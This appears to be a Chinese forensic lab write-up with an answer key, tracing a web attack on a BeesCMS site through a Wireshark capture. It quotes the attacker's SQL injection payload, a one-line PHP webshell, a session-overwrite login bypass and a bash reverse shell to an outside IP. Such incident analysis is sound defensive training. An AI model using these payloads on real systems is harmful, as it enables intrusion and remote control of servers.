实验预设问题:

1.攻击者的IP地址为?
2.网站的后台管理员登陆界面的URL是?
3.网站数据库的名称为?
4.网站后台管理员admin的登陆密码哈希值为?
5.黑客进入后台使用的漏洞是?Payload是?
6.黑客通过什么Web攻击方法获得权限?
7.黑客上传的Webshell文件名是?
8.黑客上传的Webshell在使用时需要接收的参数是?
9.黑客的远程服务器地址是?

题解

任务一:排查攻击者IP地址

步骤一:协议分级统计
首先需要对流量包进行基本分析。在WireShark菜单栏中点击【统计->协议分级】。

协议分级会对流量包根据TCP/IP协议簇定义的协议层级进行分级,并对不同协议类型的流量进行统计。

效果如下:
16.png

17.png

在协议分级统计中可以看到,应用层中涉及的协议主要是HTTP协议,可以初步判断该攻击事件为Web攻击事件。

步骤二:会话统计
在WireShark菜单栏中点击【统计->Conversations】

会话统计会对流量包中不同网络地址之间的通信流量进行统计。

效果如下:

18.png

19.png

这里查看IPV4流量的统计信息,可以看到在该流量包中主要是172.17.0.1和172.17.0.2之间的通信流量占绝大部分,可以初步怀疑这两个IP中的一方是攻击者IP,另一方是受害主机IP。

步骤三:流量筛选分析
已知攻击事件为Web攻击,可以在WireShark的显示过滤器中过滤HTTP流量。

20.png
可以看到172.17.0.1对172.17.0.2发起了大量HTTP请求,同时这些HTTP请求具有明显的网站后台目录扫描行为特征。
所以得到攻击者IP地址为【172.17.0.1】。

任务二:攻击行为分析

步骤一:后台目录Fuzz阶段分析
到现在我们已经可以确定172.17.0.1为攻击者IP,并且针对服务器A的Web应用进行攻击。那么接下来就要梳理其攻击过程,这里通过流量包进行分析。

​ 我们可以直接过滤攻击者IP相关的HTTP协议流量进行排查。在WireShark显示过滤器中使用以下过滤规则:
ip.addr==172.17.0.1 && http

21.png

容易发现,起初攻击者在针对Web站点的目录进行Fuzz,试图找出Web站点现有的Webshell、后台管理地址等敏感目录,特征也很明显,在第60284个流量包之前的所有HTTP请求都是针对Web敏感目录的GET请求,且服务器返回的响应绝大多数都是404 Not Found。

image.png

步骤二:后台登陆界面口令爆破攻击分析
第60284个流量包是明显的分界点,在这个流量之后,攻击者开始针对Web应用的/admin目录进行攻击,按照一般逻辑这个/admin目录应该是攻击者在进行目录Fuzz时 爆破出来的管理员地址。
frame.number>=60284 && http

​ 攻击者首先是尝试访问了/admin这一地址,然后被302重定向到了/admin/login.php,显然是需要管理员账户密码和验证码的。

23.png

于是攻击者首先针对后台管理员登录页面进行口令爆破(从流量包No.60522开始)。这里可以关注一点,在口令爆破阶段,攻击流量的数据包长度都在830字节左右。
frame.number>=60522 && http

24.png

爆破失败的回显结果也都是如下,该相应的数据包长度均为1202字节

25.png

步骤三:后台登陆界面SQL注入攻击
在翻看流量时突然有一条针对/admin/login.php攻击的响应报文长度为796(流量包No.110539),这就说明这个相应的内容和前面的“输入密码不正确”的回显不同,查看该回显,发现回显内容为“操作数据库失败”,并且跟了SQL的报错信息,里面涉及到了 ‘’admin’’ limit 0,1’ 这样的信息。
frame.number>=110500 && http

26.png

根据经验可以判断,这是一个SQL注入攻击相关的信息。 对这条HTTP响应进行追踪HTTP流。

27.png

​ 不难看出,这里的user字段的用户名是 admin’,说明此时攻击者已经开始尝试针对后台登陆页面进行SQL注入攻击,并且由于这条语句的回显会显示出SQL的错误信息,对该点进行报错注入攻击是一个存在可行性的选择。
​ 在No.110539之后,针对/admin/login.php的攻击还在持续,但此时的特征和前面不同,从这里开始,攻击报文的数据包长度不再集中于830左右,而是变得更长,这是因为攻击者开始针对登陆页面进行SQL注入攻击。
frame.number>=110539 && http
​ 例如No.136278,是在user表单中添加payload

这个payload的目的是通过时间盲注爆破Information_schema数据库中,名称为0x62656573636d73的数据库下的表。

1
admin' RLIKE (SELECT 6348=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x62656573636d73),1,1))>9),SLEEP(5),6348))-- WhBO

28.png

对0x62656573636d73进行16进制转ASCII字符的操作,可以得到被攻击的数据库名称为beescms。

​ 可以看到攻击者首先向疑似图片上传点admin_pic_upload.php的url进行了三次POST请求,然后对文件/upload/img/202005081647275585.php进行了GET请求。

29.png

​ 根据经验,这个php文件很有可能是攻击者上传的文件,可以查看其内容,发现是phpinfo的内容。

​ 然后在No.137348流量包处可以看到攻击者再次上传文件,且该文件很明显包含一句话木马。后面紧接着针对该WebShell,即**/upload/img/202005081648075663.php**进行访问。

30.png

随后就是利用该Webshell。

31.png

接下来在No.137932处有另一个Webshell,index.php的攻击流量。

32.png

​ 但这个Webshell又是哪里来的呢?根据我们前面找到的Webshell,可以判断这个index.php是攻击者利用前面的第一个WebShell上传的,那我们就继续往前找一下。
​ 可以关注/upload/img/202005081647275585.php相关的POST请求。
http.request.uri contains"202005081648075663.php" && http.request.method == POST

33.png

我们可以从No.137386之后的数据包开始检查。检查时可以查看各响应数据包的内容,判断上一个请求报文的行为。
frame.number>=137386 && http
例如No.137421这个响应返回了pwd和其他系统相关信息。

34.png

​ 此后攻击者分别通过该Webshell执行了ifconfig、ls -al、id等命令,这里不一一列举。之后在No.137522这条流量中发现了攻击者上传恶意脚本的信息。此时分析一下202005081647275585.php的使用方法。

35.png

​ 首先通过fff参数上传恶意PHP代码,让WebShell执行代码内容。

No.137522的执行内容是,将POST参数”zb0c10b259c5be”的值,经过base64解码,得到恶意文件内容;将POST参数”y028ed8f4232d6”的值,经过base64编码,作为恶意文件的路径,然后将恶意文件内容存放到恶意文件路径中。

​ 补对y028ed8f4232d6的值进行base64解码得到:
L3Zhci93d3cvaHRtbC9pbmRleC5waHA=/var/www/html/index.php

对zb0c10b259c5be的值进行base64解码可以得到index文件,但在文件中被插入了以下Webshell(篇幅所限,这里不给出全部解码结果):
@$_POST['lang']($_GET['cmd']);
明显可以看出,网站首页index.php已经被篡改,在最后插入了异常代码,该代码主要用于传参,将GET方法传入的参数,作为POST方法传入的函数的参数。
在No.137932处可以看到攻击者利用index.php执行了ls命令。

36.png

在No.138043处可以看到攻击者利用Webshell进行了反弹shell

37.png

POST /index.php?cmd=bash -i >& /dev/tcp/120.79.139.46/8864 0>&1 HTTP/1.1\r\n

反弹shell的外联地址为120.79.139.46:8864
至此,分析结束。

答案总结

1.攻击者的IP地址为?

答案:172.17.0.1

2.网站的后台管理员登陆界面的URL是?

答案:/admin/login.php

3.网站数据库的名称为?

答案:beescms

4.网站后台管理员admin的登陆密码哈希值为?

答案:f0d123bf4cccb5c9b8dbbcf532fd8cc0

5.黑客进入后台使用的漏洞是?Payload是?

答案:通过变量覆盖漏洞,payload如下:

_SESSION [ login_in ]= 1 & _SESSION [ admin ]= 1 & _SESSION [ login_time ]= 99999999999

6.黑客通过什么Web攻击方法获得系统权限?

答案:文件上传

7.黑客上传的Webshell文件名是?

答案: 202005081648075663.php 和 index.php

8.黑客最后上传的Webshell在使用时需要接收的参数是?

答案:index.php接受lang和cmd参数,分别通过POST和GET⽅法

9.黑客的远程服务器IP地址是?

答案:120.79.139.46